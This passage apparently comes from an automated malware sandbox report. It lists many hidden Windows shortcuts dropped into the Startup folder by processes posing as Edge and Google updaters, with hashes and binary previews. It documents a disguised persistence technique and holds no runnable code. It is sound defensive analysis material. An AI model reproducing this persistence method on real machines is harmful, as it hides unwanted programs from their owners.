SHA1:	E3BF1AC8901207FA37AB69544A0E6DA8EEC76CA2
SHA-256:	1B4D1FE28ABD8099ECC37E4AB7F6FF85A795334CCB95A4022BF19C4BF0691412
SHA-512:	911ACC52D6A15E8CC684AECF97C73DD6F04BF244FF83E2825B13B06FAF7CEE089DAAEEBC6308733DBB10F76838E9B4BDD56E2FC5F9D8FA97E79E2163E12DD3E8
Malicious:	false
Preview:	L..................F...."......P....k.'P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_cdaed61dc250465a90921d9a7c219828.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:47 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94709542516562
Encrypted:	false
SSDEEP:	24:8pfORjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pfORjr1R8AZjvgTyF
MD5:	7760ADFA5876AACF49F0968462D4002F
SHA1:	372B7299C585720EC497907DEF69E82150F7ADED
SHA-256:	ADCA64431FADCD1130DAFADC8C964D24BFF6C9A7EC82AD02CCF6E82B1EB38905
SHA-512:	B5EAF89C98B0AD5292E641EC9DF3828EAE29ABFACEB032425D3DF5A8492248B58EAE9187BA3AE6E713EEC17B24A3CCC0FF9000F7E28B8F735ED993EBE3287F9F
Malicious:	false
Preview:	L..................F...."......P......;P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ce6d0bc2d0d94fdfb46a0759e7eb30c5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:06 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94734056782845
Encrypted:	false
SSDEEP:	24:8p1qRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8p1qRBr1R8AZjvgTyF
MD5:	AE6CE25D0DB0CBAC58CE93F2DF3FB6CC
SHA1:	3880968BFFA85A9285708CACB7F8B106921B0CB9
SHA-256:	99A26FCAC5FBE2D8F4AD10E3CCC9F9FF39021D89159645B9D40AB564CAD29AF0
SHA-512:	8106E6AF27EB654AE403C505897478AF7ED9C1F310AD8A0F0F0D797BF7176665C2301637B5E8616B2473B605D61D80CDB1D56C63AC3D8854AE9BC48C74990FD7
Malicious:	false
Preview:	L..................F...."......P....)."P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_d057c138b8c54fc8848d4d1b7cca215d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:24 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938887342814605
Encrypted:	false
SSDEEP:	24:8ppRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8ppRjr1R8AZjvgTyF
MD5:	05BE77A42B83AEA096EC7385453FEE8E
SHA1:	95D10F2470FD0D7DFC69A3F9B279E940E985F1CE
SHA-256:	75ACDECDFFAA12CEB6EA1DBFE988B01E753C81C8A25D77F6585BF31A2A881FC7
SHA-512:	F1CEB7C4CC0D6C6B7E3B0F71A6228DFF34EE7CF3FA21858CD56F2F1F7C33EBBD6A07BFBA54F6998BBE9AF2286B5D9B4DD68F40CF4BB484FC0AEDF9946C0DC3D5
Malicious:	false
Preview:	L..................F...."......P...Z.a-P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_d58922b348994a7682e59305fdb4fdae.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:02 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9385370205664
Encrypted:	false
SSDEEP:	24:8pmRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pmRjr1R8AZjvgTyF
MD5:	7BF9A25A82BA06CCA89F83B888DAE196
SHA1:	F9F3033FF4C966FEE96AD9377843E8D2D8621915
SHA-256:	C973548F9F4917C5CC5334F199B34040E5D36054FC3EA766C39314F09FC21D0E
SHA-512:	304CB0FDFB34EB882FB46721970EF72D42B2A4041AFDA8B63F13F434D7BF65885798B8140EF2A1A1510C38E680BC08A8CEC2CE8A8EBA288E4580955BD9ECB7A3
Malicious:	false
Preview:	L..................F...."......P...h.F P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_d8437af857764d59a5dbfc7828dd8470.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:49 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941395098159576
Encrypted:	false
SSDEEP:	24:8pNRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pNRjr1R8AZjvgTyF
MD5:	DFDB917A5BF5E05BCD657E1F4F5A76F2
SHA1:	BF3646E5DECB0F5015CDDC92251C750E8CE1035C
SHA-256:	434A508D65E905028AF682E4C1CDD5082869D772E8C9449A5CD4960EAA75E5ED
SHA-512:	1BB4E588D046224467714196678CA162A68885761FC19140C4160D335E8065526985DF359A85BF97E8E130E5EEBD617A2D331BD2707AE6560C16BB63E17BCEF2
Malicious:	false
Preview:	L..................F...."......P......<P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_d8ccb28aeeba4f978466d5b95b50a361.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:27 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9455991611424
Encrypted:	false
SSDEEP:	24:8p0RueYl1RogKrA5+W8Ajfv/42egvqyFm:8p0Rur1R8AZjvgTyF
MD5:	908CA0E3CB29C914869829A3FE0EDA5C
SHA1:	06E7F346CE8EEF9461A0324FFB040CD0503A7F8D
SHA-256:	C8F320225596E3D428C4514204E12CEB752CBDF36B7D70761BB681026BCBE6A2
SHA-512:	B2472C6CC21EA3D5789A1CEE9A05FD434B87D86494E513BA078B7F9563A3F9B49620706BD35504EA873BEBD986D138524003098100A4C6213C9EA86ECA8127A6
Malicious:	false
Preview:	L..................F...."......P...6<.SP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......QP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_d8fa50569dae47d69e7c5ff511c892d0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:28 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937690153412265
Encrypted:	false
SSDEEP:	24:8pFRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pFRjr1R8AZjvgTyF
MD5:	FF8F5ACC9BF5FBAFFBC555BFD261E113
SHA1:	5116C120DE739D870935734213687900B9FA7AE8
SHA-256:	72A3A6141B37567B599911579DCC8A5A7C57CEC45E003367F06B7570686C5C5F
SHA-512:	B68B5FA0ECB971DA21AF6AE968A80A8D94E43AE174947FE712FBEE6F65AB31CD15F1B2AE778920C25E8CDB2D7BFC3816EC0F97D64D645FC07224F61E4609BA05
Malicious:	false
Preview:	L..................F...."......P...n../P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_d92578193ef04bd18e26b1044e69116f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:30 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.936045987250178
Encrypted:	false
SSDEEP:	24:8pTRZEeYl1RogKrA5+W8Ajfv/42egvqyFm:8pTROr1R8AZjvgTyF
MD5:	D8C5160827144836974C43E50457CB1F
SHA1:	CFD0DC12533BE9B5BF70A224ACBFC3182CDC304D
SHA-256:	A922A9C4423D6DBDAEC9061103151594D54B1F05D27253F3FA451A986A6CC5DF
SHA-512:	BBF3FAE9448E9D2D030DBAC71FA4874DDEC6C89A6EEFAAE3C1C75FCEAEA86D2F435428BFE558E2FB6E065833BAA47E2FB0F0FE810821AC2C1C96155181D17CA4
Malicious:	false
Preview:	L..................F...."......P...2..TP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...\|..TP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_da01d2306a8546388ad8c326f554e1cf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:33 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937221806169421
Encrypted:	false
SSDEEP:	24:8pqARjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pXRjr1R8AZjvgTyF
MD5:	04F9960410299EEBD8565F85859E89AA
SHA1:	8508AA9657D872A7F91DE1A8928AADCD1DD1B4BA
SHA-256:	E681A6084E4D82DC795CCA216738EA92AE5EB21A261143F61ECBB75AE68B319A
SHA-512:	AA5D5916EA4363185B0B9CBD32BFAB83A3885AFC516B9D231C8A8FA67A57FFAC9F49D9894AAFE63E1ECD70F04C80C902FB84CC1CEEDB6650E08328BFEB18B1C6
Malicious:	false
Preview:	L..................F...."......P......3P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_da9dbf1a1a2949a39893e1500ebb68c7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:18 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.939450994763965
Encrypted:	false
SSDEEP:	24:8p+uORjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pARjr1R8AZjvgTyF
MD5:	3A494E08B0B0A707A7BAF05E077952E8
SHA1:	AFD85D47AB00DAC2CFEE311BA5179E004D858A32
SHA-256:	06A75D6A1A94ED6D0ECA287F73400A707FE6D378EC27BF7181AC00A7070832B3
SHA-512:	511A19543CD1BE2631F6C19B7AF9A310A5039177C84749C46053B133C55943100F99D0E7EAB4943749CEFB13CE80DF3F24557AE492EC5DEDB2FBB0A9209D89B4
Malicious:	false
Preview:	L..................F...."......P....2E*P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_dc072b743b6f4e9aafacf04709fae9af.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:08 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9416698602173526
Encrypted:	false
SSDEEP:	24:8p1RfeYl1RogKrA5+W8Ajfv/42egvqyFm:8p1Rfr1R8AZjvgTyF
MD5:	E6B9050B2396FB2F52FDAEE4DF2E52DE
SHA1:	C4D39855BDFDB9B1B80042561DFDEB1FD0A128AE
SHA-256:	116123DCE10A770B07C760E8ED9CF8EF0ECF70D2813390BC6A4850A226D015C7
SHA-512:	F41018882E0E3A8282B3F90D2390AA0120DA1513AE56868069EDCA9F98FD8B468AD8A486B4B433EBB4F3E964945E9A0485338547EB4616959A1A49CE7F77AFAF
Malicious:	false
Preview:	L..................F...."......P.....kP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...c..lP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_dd72185e7b4248d8bbba73eea6b6752b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:35 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940050403674968
Encrypted:	false
SSDEEP:	24:8pOR2eYl1RogKrA5+W8Ajfv/42egvqyFm:8pOR2r1R8AZjvgTyF
MD5:	57BCB3C62CC3372EEA25CE9956EECD8B
SHA1:	4BAE6F87E5568F9A4A0D4B03C5B9B18388E9C3F2
SHA-256:	F22578213F7591DE1C76D77A5BF9986722717273DD524B3D791F179673FD8427
SHA-512:	24E7BABF34916F005B7BFA74F0D05B129F209691025150A6A407E686D28B1189C526D0DF4A4163FE1F3B0370612DCCCB148F1D4A55B5746C35448FF02DB7997D
Malicious:	false
Preview:	L..................F...."......P......XP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...f!.XP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_dda1a20d76bd48cb838ceb893ee1a0a6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:12 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938444459732586
Encrypted:	false
SSDEEP:	24:8pxRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pxRBr1R8AZjvgTyF
MD5:	E427FA54BD565B37EABB06D63E8D5836
SHA1:	524DB38F8045E520DDCF42F99B046D2BB74CE7A8
SHA-256:	E13A6D97B936BD6B3E05915BCE63E52084814390239BC1A6D021C315C14FC4AF
SHA-512:	3493BC8E67101E3A3A5739EFA08E3CD754FF641E7567222F9235F4FA0F04AAF25082711584FB78541FAC09B16C121F7529BC18EA19E568A3C8CFB6EBE12780DE
Malicious:	false
